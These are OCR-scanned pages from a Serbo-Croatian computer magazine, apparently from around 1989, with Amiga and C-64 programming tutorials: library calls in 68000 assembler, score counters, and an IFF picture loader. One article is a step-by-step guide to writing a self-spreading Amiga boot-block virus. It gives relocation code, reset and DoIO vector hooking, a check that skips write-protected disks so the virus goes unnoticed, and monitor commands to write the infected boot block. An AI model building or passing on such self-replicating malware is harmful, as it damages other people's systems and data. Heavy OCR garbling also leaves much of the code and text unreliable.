Vrlo jednostavno i kratko, zar ne?

• • •

Ovim bi prica o Commodoreovom kalkula-
toru bila zavrsena. Poznavanje njegovog rada
omogucit ce vam pisanje masinskih programa
koji izvrsavaju jednako slozene proracune kao
i program! u BASIC-u, samo puno, puno brze.
Naime, kad je citav program pisan u masin-
skom jeziku, otpada vrijeme potrebno za de-
kodiranje BASIC naredbi. Evo jednog primje-
ra. Program koji izracunava vrijednost sinusa
za 1024 broja u BASIC-u treba oko 30 sekundi,
a u maSincu svega 4. Dakle, vi§e od sedam pu-
ta brze. Veca brzina omogucava vam i brzu
grafiku (misli se na slozene matematicke fun-
kcije), a ni pisanje rutina koje dodaju nove
funkcije (napr. hiperbolicke finkcije. logarit-

miranje s bazom 10 itd.) vise nije tako slozeno.
U slucaju da imate bilo kakve probleme u

koristenju kalkulatora, mozete dobiti dodatne
informacije od autora teksta. Jos bolje je da
nabavite knjugu „The Commodore 64 ROMs
revealed” koja je koristena i u pripremi ovog
teksta.

AMIGA

Biblioteke

bez loijiga
Sistemski softver kod Amige je
rasporeden na sasvim drugi
nacin u odnosu na racunare u
ciju klasu spada. V stvari, sve
funkcije operativnog sistema
svrstane su po srodnosti u tzv.

biblioteke. Tako npr. postoji
biblioteka funkcija za rad sa
DOS-om, grafikom, prozorima i
menijima i slicno.

Da biste uspesno koristili kapacitete jednog
ovako mocnog racunara neophodno je da bar
poznajete BASIC. U BASIC-u se mozete samo
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I

upoznati sa operativnim sistemom i njegovim

funkcijama, dok za ozbiljnu primenu treba po-

znavati asembler ili, jo§ bolje, C. Vefiina pri-

mjera koje budemo davali bice u asembleru

zbog toga §to je §kola asemblera za MC68000 u
,Svetu kompjutera” ved skoro pri kraju, Sto se

tide asemblera, najvise se koristi Hisoft Dev-

pac. No, dosta je bilo uvoda. Vrijeme je da
predemo na koakretne stvari.

Otvaramo

Kao §to smo vec pomenuli, sve funkcije ope-

rativnog sistema svrstane su u biblioteke. Da
bismo mogli pozvati odredenu funkciju iz ne-

ke biblioteke. moramo je, kako se to u zargo-

nu kaze, otvoriti. U tu svrhu postoji funkcija u
Exec biblioteci pod imenom .LVOOpenlibra-
ry koja nam sluzi za otvaranje bilo koje raspo-

Io2ive biblioteke. Mozda cete se upitati kako
je moguce pozvati Openlibrary kada jo§ nijeda

biblioteka nije otvorena? Kada ukljucite Ami-
gu i ucitate Workbench na'raspolaganju vam
je komletna Exec biblioteka cije funkcije kon-
troliSu rad racunara. Pored toga, potrebna

nam je i tzv. baza biblioteke ciju funkciju pozi-

vamo. Baza Exec-a se nalazi u JEDINOJ FIK-

SNOJ adresi na Amigi. Ta adresa je 4 ($0004).

Pored baze, treba nam i pokazivac na ime bib-

lioteke koju zelimo otvoriti. Cijela operacija

ima izgled kao na siici 1.

Otvorili smo DOS biblioteku i sada slobod-
no mozemo pozivati funkcije koje se nalaze u
njoj. Zapamtite da se baza biblioteke cije fun-
kcije pozivamo MORA nalaziti u registru A6,
diji sadiiaj cuvaju sve funkcije. Zato, lada do-
bijete bazu biblioteke obavezno je smjestite u
A6. Ako kao bazu dobijete nulu nastupila je

neka greSka, pa morate preduzeti odgovaraju-

cu akciju, Vazno je znati da je baza biblioteke

OBAVEZNO 32-bitni broj, pa treba paziti na
duzinu operanda kod MOVE intrukcija (long).

Ovo pravilo vazi za sve funkcije koje vracaju

neki rezultat. Da bismo pozvali funkciju treba

nam njen ofset i baza biblioteke (to mozete vi-

djeti i iz primjera). Ofseti su negativni brojevi

koji odreduju poziciju funkcije u biblioteci

(biblioteka nije nista drugo nego obicna jump
tabela koja je poznata svima koji imalo pozna-

ju asembler).

Sada demo navesti primjer u kora demo od-

gtampati neki niz znakova, ciji je kraj obilje-

zen nulom, na ekran i pri tome upotrebiti

standardne funkcije DOS biblioteke (slika 2).

U ovom primjeru smo koristili nekoiiko no-

vih funkcija. Prva od njih je .LVOOutput ciji

je zadatak da vrati, kao rezultat, tzv. handle

koji pokazuje na tekudi izlaz. To znaci da de-

mo rezultat ove funkcije proslijediti funkciji

za ispis tako da de ona niz znakova proslijediti

na ekran (tekudi izlaz) a ne negdje drugdje.

Ova funkcija nema ulaznih parametara. Posli-

je dobavljanja handle-a, na red dolazi ispis

niza znakova, Funkciji za ispis potrebno je

proslijediti slijedece parametre: handle, koji

smo dobili pomodu funkcije .LVOOutput, ad-

resu na kojoj se nalazi niz i duzina niza.

Za ispis niza, handle se prenosi preko regis-

tra Dl, adresa niza preko D2 a duzina niza

preko D3. Konacno, pozivamo funkciju za is-

pis,

Zatvaramo

Po§to otvorene biblioteke zauzimaju slo-

bodnu memoriju, potrebno ih je zatvoriti na

kraju programa ili onda kada nam vise nisu

potrebne. Za zatvaranje biblioteke sluzi nam
funkcija koja se zove .LVOCloselibrary. Para-

metar koji je potrebno prenijeti ovoj funkciji

je baza biblioteke koju zatvaramo i ona se mo-

|ra nalaziti u registru Al. Sa RTS se vracamo

itamo odakle smo pozvali svoj program (obid-

jno u CLI). Zapamtite da se Exec bibilioteka

InIKADA ne zatvara. Po§to smo odStampali

neki tekst, moramo vidjeti kako mozemo uni-

jeti tekst koji treba od§tampati, Da bismo to

postigli, potrebno je upoznati jo§ dvije funkci-

je DOS biblioteke. Radi se o funkcijama

.LVOInput i .LVORead, Prva funkcija ima za-

datak da, kao rezultat. vrati handle koji de

nam reci koji je ulaz aktivan. Obidno je to

konzola (CON prozor preko kog komunicira-

;mo sa SLI-jem). Kao i LVOOutput, ni ova fun-

kcija nema ulaznih parametara. Funkcija

.LVORead ima zadatak da prodita sa aktivnog

ulaza odredene podatke. Ova funkcija radi

vrlo slicno naredbi INPUT u BASIC-u. Para-

metri koji su potrebni funkciji .LVORead su

Input handle koji se prenosi preko registra Dl,

adresa bafera u koji de se smjeStati proditani

podaci (prenosi se preko registra D2), broj

znakova koje treba ocekivati sa tastature.

Ukoliko se unese manje znakova zakljucenih

sa tasterom ENTER onda de .LVORead vratiti

kao rezultat broj proditanih znakova. Ako
unesemo vi§e podataka nego §to je predvideno

uslijedide automatski povratak iz LVORead a

vilak znakova bice ignorisan. Podatak o velidi-

ni bafera se prenosi preko registra D3. Primjer

koji de ilustrovati primjenu svih funkcija koje

smo objasnili dat je na slid 3.

Tc^iko za ovaj put. Kao domadi zadatak na-

pravite potprogram koji de izracunavati duzi-

nu niza znakova koje treba ispisati. Potprog-

ram treba da duva sadrzaj svih registara i vrati

rezultat (duzina niza) preko registra DO. Pot-

program de biti koristan u slucajevima kada
treba ispisati neki niz bez brojanja znakova.

SLIKA 1:

opf 1-

move.l DOSBase.al ;baza DOS-a u Al
muva . 1 SysBaae.ae ;baza Exec-a u A6
jsr _LVOCloseJ.ibrary (a6) ; zatvor i

_SysBase equ
_LVOOpenLibrary equ
_LVOCloBeLibrary equ
_LVOOutput equ
_LVOWrite equ

SLIKA 2:

opt 1-

4
-552
-414
-60
-48

(adresa baze Exec-a

IiOSriatie

dosname dc . b
even

;
povratak

' do.e . 1 i brary '

. 0

SVLT KOMPdin'EHA ' ,10.0

_SysBase equ 4
_LVOOpenLibrary equ -552
_LVOCloseLibrary equ -414
_LVOOutput equ -60
_LVOWrite equ -48

: adresa baze Exe(

start
move.l *dosname.al : ime biblioteke
moveq #0.d0 :trenutna verzi ja

move . 1 _SysBase . a6 :baza Exec-a u A6
jsr LVOOpenLibrary(a6) ;otvori biblioteku
tst . 1 dO (ako je nula
beq gr .onda je kraj
move.l dO.DOSBase ; spremi bazu

move.l DOSBase.a6 ;baza u A6
jsr .LVOOutput (a6) (Output handle
move .1 dO .d4 ; spremi ga u D4
move .1 d4 . dl (handle u Dl
move.l #string,d2 (adresa texta u D2
moveq #16. d3 (broj znakova u D3 '

jsr _LVOWrite(a6) ; ispis niza

opt 1-

_Sysbase equ 4
_LVOOpen 1 i brary equ -552
LVOClose 1 i brary equ -414
LVOOutput equ -60

_LVOWrite equ -48
LVORead equ -42

_LVOInput equ -54

start

move . 1 tdosname.al
moveq #O.d0
move . 1 _Sygbase.a6
jsr _LVOOpenlibrary(a6)
tst . 1 dO
beq gr
move .1 d0,a6
move . 1 aS.Dosbase
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SERVIS

jsr _LV00utput ( a6

}

move.l d0,d4
move.l d4.dl
move.l string, d2
moveq #12, d3
jsr _LVOWrite(a6)

jsr _LVOInput(a6)
move.! dO.dl
move.l buffer. d2
moveq 80. d3
jsr _LVORead(a6>
move.l dO.len

move.l d4,dl
move.l buffer. d2
move.l len.dS

.-dobavi output handle
;i smjesti ga u D4
; ispis poruke
;pogledaj sliku 2

; dobavi input handle
;i stavi ga u D1
;adre8a bafera
;max. 80 znakova
; unos znakova
;broj unesenih
.•znakova smjesti u len

; ispis unesenog texta

jsr _LVOWrite(a6)

move.l Dosbase.al
move . 1 _SysBase , a6
jsr _LVOCloseLibrary (a6)

rts

DOSbase dc . 1 0
even,

dosname dc . b
even

dos

.

1 ibrary

'

string dc . b
even

Uneei Text: '

buffer ds . b 80
len ds . 1 1

O Samir Dobric

AMIGA; FORE I FAZONI

Doktore,

pomagajte!
Ovog puta u „forama'' nesto sasvim novo.
Pisacewo o tome kako napraviti - virus. Doduse,
virusa vec ima previse, ali se nadamo da ce vam
ovaj tekst (uz vasu dosad nevidenu ideju) pomoci
03 nsprsvite nesto novo. Uostslom, od necees se
mora krenuti.

K Pise Darko Ilic

ako o virusima yec znate ponesto (ili sve!) ipak cemo se podse
titi sta su virus! i kako rade. Pri tome cemo se zadrzati same— onim jednostavnijim varijantama, za detaijisanje nemamo

mesta, Uostalom, najprostiji od svih virusa, SCA virus, uneo ie najvise
panike medu korisnicima AMIGE.

Virusi na kao i na vecini racunara se Lniciializuju iz boot
bioka Boot blok sacmjavaju dva sektora na disked koji se posle reseta
ill nakon ukljuCenja, ucitaju negde u RAM i izvrSi se kod koii se naiazi
na njima. Standardan boot blok ima zadatak da 'digne sistem' ti. postoii
xratko programce koje nade rezidentnu biblioteku 'dos library' i vrati
pointer na nju u registru AO i stavi 0 u regustar dO. Ako biblioteka niie

ukljucili AMIGU), u do se stavi kao
znak AMIGA DOS-u. Tai oroeram izgieda ovako:

:u al stavi pointer na ime
;'dos. library'

;funkci]a FIND RESIDENT
;u exec, library

;da li je nadeno?
;ako nije skoci
;pointer na strukturu stavimo u aO
;i podatak koji nas interesuje
;opet u aO
;oznacimo da smo nasli

j'dos. library'

;vratimo se

;nismo na§li

;vratimo se

lea 24(pc),al

jsr -96(a6)

tst.1

beq.s

move.l
move.l

do
LABI
d0,a0

22{a0),a0

moveq jJtO.dO

Its

moveq
bra.s

#$ff,dO
LAB2

Ova rutma je mogla da izgieda i mnogo jednostavnije, ali programe-
n u Commodore-u ocigledno vole da se razbacuju. Ono nailep§e tek do-
lazj; bilo da ste resetovali ili tek ukljucili AMIGU, nije bitno da li ce se

ovaj program izyrsiti prvi. To znaci da komotno mozete umesto prve in-
strukeije sve registre sacuvati na steku, skociti na vas potprogram, vratiti
sve sa steka i tek onda izvrsiti standardno boot-ovanje. Naravno tai pot-
program je VIRUS! •.

Mali, ali gadan
Virus u principu treba da bude sto kraci, sazetiji, da se tesko naia-

zi i, naravno, sem sto se siri, trebalo bi da radi jo§ nesto. dobro ili lo§e. to
je vec vasa stvar. Znaci, vec na poCetku niozemo da izdvojimo neke celi-
ne. Kao prvo, to je deo koji ce prepisati svih 512 bajta boot-a negde u
RAM. Najbolje je da to bude negde visoko, da se neki program ne bi uci-
tao preko njega. Taj program izgieda otprilike ovako;

LOl

L02

lea -xx(pc),aO

lea $7f800.al

movea ;«f$80,d0

move.l (aO)-l-,(al)-^

subq.b #l,dO
bne.s LOl
jsr L02
rts

;xx predstavlja udaljenje ove
;instrukcije od
;adrese na koju se boot ucitao
;adresa na koju ce se virus
;prebaciti

.prenecemo $80
;dugih reci a to je upravo
;512 bajtova
;smanjimo brojac
;ako nije 0 prebacuj dalje
;bice objaSnjeno kasnije
;vrati se odakle je pozvan

UVU rutinu cete pozvati nakon sto ste stavili sve registre
na stek, a kad se vratite i pokupite sve sa steka, sledi standardno booto-
vanje Sada da razjasnimo instrukeiju jsr L02. Negde u boot-u zajedno
sa podacima koji se prepisuju, naiazi se i samo telo virusa. Ali bez obzira
sto ce se boot ucitati uvek na razlicitu adresu, vaSa rutina ga prebacujena apsolutnu adresu (konkretno $7f800), sto znaci da od labele L02 sve
mozete da pisete apsolutno.

Telo virusa pocinje od L02 i sastoji se iz dva dela: rutine koja posta-
vi velrtore tako da posle reseta pokazu na virus, i rutine koja prepisuie
virus 1 obavija one „lo§e ili dobre" poslove.

J h p j
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E, neces me resetovati!

Rutina koja postavlja vektore tako da i posle reseta pokazuju na vi-
rus izgleda ovako:

move.) (a?) -f- ,36(al)

move.l fa7)-(-,32(al)

move.w (a7)-F-,28(al)

jmp SfcOedc

stare vrednosti
vrednosti i uradimo
ono sto je

korisnik zahtevao

move.l 4,a6 ;u a6 exec base
move.l #$L02,64(a6) ;adresu labele L02 kao novi

;reset vektor
tea

moveq
34(a6),a0

#$17,dl
;ovaj

;deo
clr.w dO ;koda
add.w (a0)-i-,d0 isreduje
dbf dl.L03 ;sistemski
not.w do ;ceksum
move.w d0,(a0) ;i smesta ga gde treba
move.l #$L04.-445(a6) ;na L04 se nalazi kod za

.prepisivanje

rts

L04

Sve u svemu, rutina ne izgleda komplikovana i otprilike je jasno sta

radi, ali za§to to radi vrlo je komplikovano objasniti, pa cemo taj deo
preskociti. A sada ide ono glavno.

Cekaj da se ja prepikm, pa ti onda nastavi

Deo za prepisivanje je najkomplikovaniji i samim tim najslozeniji

deo posla. Kao prvo, s obzirom na to da sve I/O radnje idu preko nas,

treba prvo rasclaniti da li se radi o komunikaciji sa diskom ili ne. a ako
ne, onda cemo skociti na originalnu I/O rutinu. I jo§: ako se radilo o dis-

ku, treba proveriti da li je disketa za§ticena (da se ne bi pojavilo ono glu-

po 'VOLUME XYZ IS WRITE PROTECTED' i ukazalo korisniku da tu
isu cista posla), i ako je zasticena. od umnozavanja cemo morati da
odustanemo. Rutina koja vrsi taj deo posla najcesce izgleda ovako;

L04 cmpi.l #$00000200.36(al) ;proverava da li su podaci

beq.s L06 jkarakteristicnl

cmpi.l # $00000400,36(al) ;za rad

1 beq.s L06 ;sa diskom

1
LOS jmp $fc06dc ;ako nije skoCi na standardnu

;I/0 rutinu

1

L06 tst.l 44(al) .proverava

1

bne.s LOS :zaltitu i jo§ neke

1
tst.l 40(al) ;specificne

I beq.s LOS ;vrednosti i ako

I

btst #3.$bfe001 ;je sve OK
I beq.s LOS :onda nastavi

L07 :dalje

I

Opet moramo da se izvinjavamo sto su ovi komentari vrlo kratki i

ne objasnjavaju sta se tacno desava i ispituje, ali to predstavlja more
podataka za koje stvarno nema mesta. Uostalom. vrlo brzo cete, analizi-
rajuci druge programe, naroCito viruse. otkriti sve pojedinosti oko ka-
rakteristicnih podataka no. Krenimo dalje. PoSto su nam sada sva vrata
otvorena, sve provere izvrsene mozemo komotno da dozvolimo virusu
da se prepiSe. Taj posao se sastoji u sledecem:

1. Sacuvaju se vrednosti koje cemo pokvariti ali ce nam biti potreb-
ne.

2. umesto njih ubacirao u I/O strukturu naSe vrednosti,
3. izvr§imo snimanje novog boot-a na disketu,

4. vratirao sacuvane podatke, i

5. konacno skocimo na rutinu koja ce uraditi ono sto je trebalo.

U praksi to izgleda ovako:
move.w 28(al),-(a7) ;cuvamo
move.l 32 al ,-(a7) ;stare

move.l 36(al ,-(a7) ;vrednosti
move.l 40(al),-(a7) ;koje ce nam
move.l 44(al),-(a7) ;kasnije trebati i

move.l 24(al),a0 ;podesimo
move.b 65(a0).$bfdl00 ;CIA registar

move.w #$3.28(al) ;sada

clr.l 44(al) .postavljamo
move.l #$7f000,40(al) ;na§e
move.l #$400,63(al) ;vrednosti i

jsr $fc06dc ;snimimo novi boot
move.l (a7)-l-,44(al) ;konacno
move.l (a7)-i-,40(al) :vratimo

Izvinjenje po treci put! E. da, reel cete ..Dokle se. bre, izvinjavaju,

mogli bi nesto i da napisu konkretno...", medutim situaeija je takva da
iako su vase grdnje opravdane, moramo da vas razocaramo: racunar
kao sto je AMIGA ne moze da se opise tek tako na dve-tri stranice, pa
makar ako se radi i o svega petnaestak adresa. Takode, smatramo da bi

vas objasnjenja kao sto je „Do I/O funkeija iz execlibrary obavlja I/O po-
slove posredstvom node-ova u listi strulrture ciji se ukazatelj dobija do-

davanjem porta na uredaj koji je zatrazen od trackdisk. device" vise zbu-

nila nego sto bi vam pomogla, a ako mislite da preterujemo, pitajte ne-

kog ko se razume ili procitajte po literaturi pa cete se (na zalost) uveriti

da smo u pravu.

Konstruktorski deo

I pored toga §to sada sve vazne delove virusa iraate, servirane, pred
sobom, ipak ce vam biti najkomplikovanije kako sve to uneti gde treba a

da uz to i (ne)radi. Najpre ono Sto ce razalostiti ljubitelje asemblera. Nje-

ga necete mofii koristiti. Doduse, neko ko je snalazljiv verovatno ce pro-

bati da koristi asemblersku direktivu „ORG" ali i to moze da stvara do-

datne komplikaeije. Prvo, iako se tabela za relokaciju nece generisati,

postoji opasnost da Genam ili neki drugi asembler strpa neke nepozeljne

podatke gde ne bi trebalo, a moguce je i da asemblirani program jednos-

tavno ne moze da stane u boot. Zatim, vrlo cesto je potrebno koristiti i

programsku modifikaeiju, tj. to da virus menja sam sebe (ako. recimo,
zelite da postignete dealrtiviranje virusa ako se pritisne desno dueme mi-
la i si.). Zbog svega ovog najbolje je pisati virus u (ve6 pogadate) C-Mo-
nitoru. Dodule, imacete malo problema oko racunanja relativnih skoko-
va, ali zato imate direktan pristup malini, boot-bloku (mozete ga ucita-

vati i snimati na disketu jednom jedinom komandom) i. sto je najvazni-

je, uvek cete znati gde se sta nalazi. Zato ucitajte monitor i sledite nase
instrukeije.

Prvo cete morati da se dogovorite sa samim sobom gde ce se nalazi-

ti virus. S obzirom na to da su gore prilozeni delovi virusa prilagodeni

da rade od $7f800 smatramo da je najbolje da i vi tu strpate svoju kreaci-

ju. Sada treba da ucitate standardni boot sa neke diskete (najbolje sa

WorkBench-a jer je tamo sigurno standardan) komandom:
<t 40000 0<CR>

Ovim ste ucitali boot na adresu 40000. Sada komandom
n 7f80c <CR>

unesite naredbe
movem.l aO-a6/dO-d7,-(a7)

;sve na stek
bsr.s LOl ;skok na virus

movem.l (a7) -f ,a0-a6/d0-d7
;sve sa steka

i izadite iz asemblera. Od krajnje adrese ove sekvence treba da prenesete
standardni boot komandom

t 4000c 40100 7f816 <CR>
Kada ste ovo uradili, treba napisati rutinu koja prebacuje virus na

adresu $7f80Q. Ta rutina je data ranije i treba je pisati od labele LOl. Pri-

pazite da vam se ne preklope standardni boot i rutina za prebacivanje
jer onda nista od posla. Odmah iza rutine za prebacivanje treba da stoji

rutina za menjanje sistemskog reset vektora i menjanje exec DoIO vekto-
ra tako da pokazuju na virus. I taj deo virusa je dat. Takode u nastavku
te rutine mozete dodati neko novo parce koda koje ce uraditi nesto po
vasoj zelji. Nove verzije raznih virus ubica imaju u tom delu rutinu koja

da zvueni i vizuelni signal da je virus-killer prisutan i da nema opasnos-
ti. Slicno mozete i vi uraditi tako da na samo vama poznat nacin (pritis-

kom na odredenu kombinaeiju tastera ili nesto drugo) saznate da li je

va§ virus aktivan i time sprecite da zarazite sopstvene diskete. Na kraju
treba upisati rutine za ispitivanje da li se radi o komunikaciji sa diskom i

za prepisivanje virusa. One mogu da ostanu kakve jesu i u principu ih ne
treba dirati dok ne shvatite kako rade.

Preostalo vam je jo§ da vratite boot prvo na adresu 40000 koman-
dom

t 7f800 7fc00 40000
sredite ceksume i snimite novi boot (u stvari sada vec virus) komandom

>t 40000 0

Preporucujemo da na lieu mesta isprobate virus tako sto cete sistem
„dici" sa zarazene diskete i onda ubaciti novu, nezasticenu. Ako nesto
krene naopacke moracete gresku traziti pesice. Najpre pogledajte da li

se virus uopste prepisao, zatim da li su izmenjeni vektori itd.

To bi bilo sve o pravljenju virusa, a za sledeci broj pripremamo t6k-

St koji ce. ujedno, biti izazov na takmicenje „BR^E-KRACE-JEDN0S-
TAVNIJE". Uostalom kad hakeri koji rade na Z80 mogu da se skoro go-
dinu dana preganjaju sa brisanjera ekrana, promenom boja itd. kao i

raznim ludim intro-mejkerima, mozemo i mi sa MC68000. Amigovci, sa-

cuvajte svoj ponos!

o
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C-64: MOJA IGRA

Pet, deset, petnaest, dvadeset...
Posh pauze odjednog broja zahuhtalo nastavijamo ovu seriju. Uovom izdanju donosimo vam nesto zaista neophodno u svim
programima - brojace.

Za mnoge je problem kako ispisati broj na ek-
ranu. Za to postoje dva standardiozvana meto-
da. Prva se sastoji u tome da se broj cuva u lo-
-hi obliku i da ga po potrebi bacate na ekran
kao cifre u nekom od sistema (dedmalni, hek-
sadecimalni. oktalni...). U igrama se sve obic-
no isplsuje u decimalnom sistemu. zato objav-
Ijujemo rutinu koja broj iz lo-hi oblika izbacu-
je na ekran.

Pre poava rutine u registrima X i A treba da
se sadrzi broj koji zelimo daJspisemo. Rutina,
dobijeni broj. smesta na adresu k2c0 ali u ob-
rnutom redosledu (jedinice, desetice...) tako
da je potrebno da vam brojac broji unazad.
kao sto imamo na listingu od adrese S403a,
nalazi deo rutine koji'ispisuje broj koristeci
ROM rutinu (chrout). U nekim igrama je to
prakticno, ali ima igara u kojima je ROM ne-
potreban, pa onda taj deo programa treba iz-

meniti da izgleda ovako:

403f LDX #$04
4041 LDY #$00
4043 LDA S02c0,X
4046 STA # SXXXX.Y

4049 INY
404a DEX
404b BPL $4043

Adresa XXXX treba da predstavlja adresu na
niskorezolucijskom ekranu gde zelimo da nam
se isplsuje (na primer $0420^)

Drugi nacin prikazivanja brojeva je direktno

poukovanje na ekran. Na primer ako nam se

broj bodova sastoji od deset cifara i sve to na-
lazi na adresi, na primer, $0400, pre pocetka
igre potrebno je postaviti ovde sve nule. Ukoli-

ko koristimo ugraden karakter set ta rutina bi

trebalo da izgleda ovako:

LDY # $09
LI LDA #$30

STA S0400,Y
DEY
BPL LT
RTS

Zi\aci. kad god zelimo da ponistimo rezultat,

pozovemo ovu ili slicnu rutinu.

Rutine koje slede sluze za povecanje ili uma-
njenje brojeva direktno na ekranu. Pre poziva
jedne ili druge rutine na adrese $40 i $41 treba

ubaciti adresu cifre koja se umanjuje ili pove-
cava.

Ako zelimo da u nasem programu povecamo-
cifru desetica, na adresi 40,41 traba da se nala-

zi broj $0408, to jest adresa pretposlednje cifre

u broju i zatim jednostavno treba pozvali ruti-

nu za povecanje. Ukoliko je broj bio devet, au-
tomatski ce se povecati i prva leva cifra i tako
sve ulevo dok se ne naleti na kdd $20 (space),

Evo kako izgleda program za ovaj primer:
LDA #$20
STA $03aa
LDA #08
STA $40

LDA #04
STA $41

JSR POVEC
RTS

Obe ruttne su brze i mozete ih koristiti iz inte-

rapta ili bilo odakle, Mogu vam sluziti. na pri-

mer, da prilikom ucitavanja programa prika-

zete koliko jos ima da se ucita ili slicno. Obe
rutine mozete koristiti u svim igrama zato ih

treba dobro prostudirati.'

Iste rutine nalaze se i u programima ..MIND
TRAP", „PLANET 10" o kojima ste nedavno
imali prilike da cujete.

O Branislav Tomic

ISDis dvobajtnog 4031 ROL $020A
decimalnoq broja 4034 ROL A

4025 BCC $402B
4000 SIX $FB 4037 ORA #$30
4002 STA $FC 4039 STA $02C0,X
4004 LDA #$00 403C DEX
4006 LDX #$02 403D BPL $4029
4008 STA $020A,X 403F LDX #$04
4006 DEX 4041 LDA $02C0,X
400C BPL $4008 4044 JSR $FFD2
400E LDX #$0F 4047 DEX
4010 ASL $FB 4048 BPL $4041
4012 ROL SFC 404A RTS
4015 LDY #$02
4017 LDA $020A,Y Uvedanje brojafa
401A ADC $020A,Y
401

D

STA $020A,Y 9C40 PHA
4020 DEY 9C41 TXA
4021 BPL $4017 9C42 PHA
4024 BPL $4010 9C43 TYA
4026 CLD' 9C44 PHA
4027 LDX #$05 9C45 LDY #$00
4029 LDA #$10 9C47 LDA ($40),Y

402B ASL $020C 9C49 CMP #$20
402E ROL $020B 9C4B BNE $9C53

9C4D PLA 9C6F TXA
9C4E TAY 9C70 PHA
9C4F PLA 9C71 LDY #$00
9C50 TAX 9C73 LDA ($40),Y
9C51 PLA 9C75 CMP #$20
9C52 RTS 9C77 BNE $9C7F
9C53 CMP #$39 9C79 PLA
9C55 BNE $9C59 9C7A TAX
9C57 LDA #$2F 9C7B PLA
9C59 CLC 9C7C TAY
9C5A ADC #$01 9C7D PLA
9C5C STA ($40),

Y

9C7E RTS
9C5E CMP #$30 9C7F CMP #$30
9C60 BNE #9C4D 9C81 BNE $9C85
9C62 DEC $40 9C83 LDA #$3A
9C64 BNE $9C68 9C85 SEC
9C66 DEC $41 9C86 SBC #$01
9C68 BNE $9C45 9C88 STA ($40),

Y

9C6A BEQ $9C45 9C8A CMP #$39
9C8C BNE $9C79

Umanjenie brojaila 9C8E DEC $40
9C90 BNE $9C94

9C6C PHA 9C92 DEC $41
9C6D TYA 9C94 BNE $9C71
9C6E PHA 9C96 BEQ $9C71
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AMIGA: NASA IGRA

ILBM
loader
Broj srecnih vlasnika

Amige svakim danom
se povecava. Odlucili

smo stoga da pocnemo
sa novom serijom
clanaka o ovom
kompjuteru. Prvensteno
cemo se baviti raznim
rutinama koje su
potrebne da bi se
napravila neka igra,

bilo da Je 2D
„pucacina" Hi 3D
akciona avantura. Za
ovu rubriku tekstove,

zaJedno sa rutinama,
mozete da nam
posaljete i vi, ukoliko
smatrate da ce to

pomoci sirem krugu
viasnika Amige.

Pi§e Predrag Beciric

Pretpostavljamo da de jedan

deo amigista prokomentarisati ka-

ko je isuvise rano za neki ovakakv
poduhvat. Mi tako ne mislimojer

smo za proteklih nekoliko meseci

shvatili da veliki broj vlasnika

Amige zeli da pocne da programi-

ra na svojoj masini, ali nemaju li-

teraturu iz koje bi nesto nauCili.

Zbog toga smo i otvorili ovu novu
rubriku. Ko zna, mozda cemo jed-

nog dana napraviti i neku igru,

ovako malo po malo!

Umalo da zaboravimo; rutine

koje nam budete slali pozeljno je

da budu uradene u AZTEC C-u.

Rutine pisite tako da se mogu nad-

ovezivati na vec objavijene, a ta-

kode da se i kasnije nove rutine

mogu nadograditi na te. Pored
ovoga zamolili bismo vas jos samo
jedno, a to su dve stvari:

- rutine nam saljite na disketi u

obiiku datoteke, koja ce moci da

se ucita u TxEd. Diskete vracamo,

ukoliko nam posaljete svoje pod-

atke;

- u rutinama umesto TAB-ova
koristite blanko karaktere, radi

lakse i brze stampe (ukoliko imate

Stampac verovatno vam je jasno o
cemu se radi);

- tel«tove nam saljite otkucame
ma pisacoj ma§ini. Ukoliko koris-

tite naki tekst procesor, neka to

bude ProWriterV20, U slucaju da

koristite nelci drugi, snimite i nje-

ga kako bismo mogli da odStam-

pamo va§ tekst.

DPaint problemi

Prvi problem na koji se obiCno

nailazi jeste kako ucitati neku sli-

ku sa diskete u Amigu, a zatim tu

sliku i prikazati na ekranu. Rutina

koja resava ovaj problem data je

na listingu koji sledi. Vazno je na-

pomenuti da u ovom obiiku ruti-

na nece raditi. Pre pozivanja ruti-

ne Get.IFF potrebno je definisati

bitmap strulrturu i rezervisati pro-

stor za boje. To se postize na sle-

deci naCin:

struct bitmap glavna BM;
UWORD boje [32];

Sada mozemo da ucitamo i sli-'

ku sa diskete. To se postize pozi-

vanjem rutine get. iff. Pararaetri

za ovu rutinu dati su u okviru lis-

tinga, a sada cemo ih samp pome-
nuti. Prvi parametar se pise pod

znacima navoda i predstavlja ime

slike koju zelimo da ucitamo. Na
primer, ukoliko se slika nalazi na

disketi DFl: u direktorijumu

DWH, a pod imenom PIC, za ovaj

parametar otkucacemo

„dfl:dwh/pic".

Slede6i parametar predstavlja

pokazivac na bitmapu gde je po-

trebno uCitati sliku. Rutina za uCi-

tavanje de sama rezervisati potre-

ban memorijski prostor za sliku

koju ucitavamo, koristeci para-

metre iz zaglavlja slike.

Sledeci parametar predstavlja

pokazivac na mesto gde je potreb-

no ucitati boje. Boje ce biti u obii-

ku UWORD, i to kao OxRGB.

Rad sa rutinama

Najjednostavniji nacin za koris-

cenje ovih rutina je da se cela ruti-

na drzi na disketi u kompajlira-

nom obiiku, kao object modul.

Kada budemo zeleli da je priklju-

cimo nekoj sopstvenoj rulini, jed-

nostano cemo ih zajedno linkovati

komandom:

In vas.program.o get.iff.o - Ic

Uslov je jedino da u olcviru svog

programa koristite funkcije koje

su date na listingu.

Naravno, ovo nije jedini nacin.

Moguce je rutine direktno priklju-

citi ve§em programu, ali tada sa-

mo produzavate listing, a i kom-
pajliranje duze traje.

• • •

Nadamo se da smo vam ovim
kratkim rutinama barem donekle

pomogli. Ukoliko su vam koristiie.

oduzite nam se; poSaljite nam svo-

je rutine, kako bi ostali mogli da

uce na va§em iskustvu.

Kao malo iznenadenje, otkrice-

mo vam i jednu tajnu. U jednom

od sledecih brojeva objavicemo

kompletnu rutinu za iscrtavanje

soba u 3D, kao sto je uradeno u ig-

ri AIRBALL. Do tada, nadamo se

da cemo dobiti i va§e priloge.

• »»»» (01989 by Destroyer!

»»»»» Tel!01lr320-sa2 Beograd
31

struct chunk {

char nainer43|
ULDNG lenj ) -form , tchunk |

WORD Hidth, height I xDOS,ypos

t

UBYTE olanes, mask, comp. pad[
WORD trans;

WORD pM,ph| ) tbmhdi

struct cmap {

UBVTE rgb[32U31j ) »cmaoi

/t (ttttutttxtittsitxttt**
Ruti na za ucitavanje IRF datoteka sa diskete.
Funkcija ima oblik: get_if f {name.&bitmap.color)

|

color; dimenzlanisana matrica kao UWORD
(boje ce biti u obiiku exRGB)

Primer t get_l ft ( "d fBs picture/beach" .Jinewbi tmap.newcolor )

;

struct BltRap (bj
UWORD cCl

I

ULOMS index)
int h.i.J.k.z)
BYTE (body, Iplane)
LONG ylinea0)

